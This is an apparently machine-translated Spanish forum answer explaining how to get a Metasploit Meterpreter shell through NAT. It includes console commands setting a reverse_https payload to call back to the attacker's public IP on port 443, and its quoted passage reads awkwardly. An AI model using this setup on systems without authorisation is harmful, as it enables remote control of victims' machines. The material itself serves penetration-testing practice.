Metasploit Obtener Shell a través de NAT

Esto no funcionará con las cargas útiles inversas a menos que pueda realizar el reenvío en el sistema que está NATing su tráfico. Por lo tanto, es mejor generar una carga útil que le permita conectarse a ella en lugar de una carga útil que se conecte nuevamente (pero si su objetivo también está usando NAT, entonces esto también se vuelve obsoleto). Por ejemplo:

shell/bind_tcp

Esto da problemas si hay un firewall entre usted y el objetivo. Lo mejor que se puede hacer es quitar el NAT por completo si es posible. En tu caso esto parece bastante difícil ...

Puedes usar meterpreter/reverse_https y establecer LHOST en tu IP pública. Asegúrese de reenviar el puerto 443 a la máquina que alberga metasploit.

set payload windows/meterpreter/reverse_https
set LPORT 443
set LHOST YOUR PUBLIC IP

  

"Dado que nuestro host de atacante está detrás de NAT, tenemos que usar la IP pública   Dirección del enrutador / firewall como LHOST. Cuando el exploit es   ejecutado, esta IP se incrustará en el shellcode y cuando el   El código de shell inicial de Meterpreter se ejecuta en el destino, se conectará de nuevo   a esta dirección IP. El reenvío de puertos en nuestro enrutador / firewall   luego reenvíe el tráfico a nuestra LAN IP del host del atacante. Para esto   Por esta razón, debemos establecer LHOST en 1.1.1.1 (la IP pública de su   enrutador / cortafuegos del atacante)

     

Usar una IP pública como LHOST también significa que Metasploit intentará   vincularse a esa IP al configurar el controlador Meterpreter. Ya que   esta IP pertenece al enrutador / firewall y no a la Metasploit   ejemplo, esto obviamente va a fallar. Lo bueno es que Metasploit.   caerá automáticamente a 0.0.0.0 y básicamente servirá al   El controlador Meterpreter en todas las direcciones IP locales en el host del atacante, mientras   recordando que LHOST se configuró en nuestra dirección IP pública. Esto es   exactamente lo que necesitamos ".

Fuente: enlace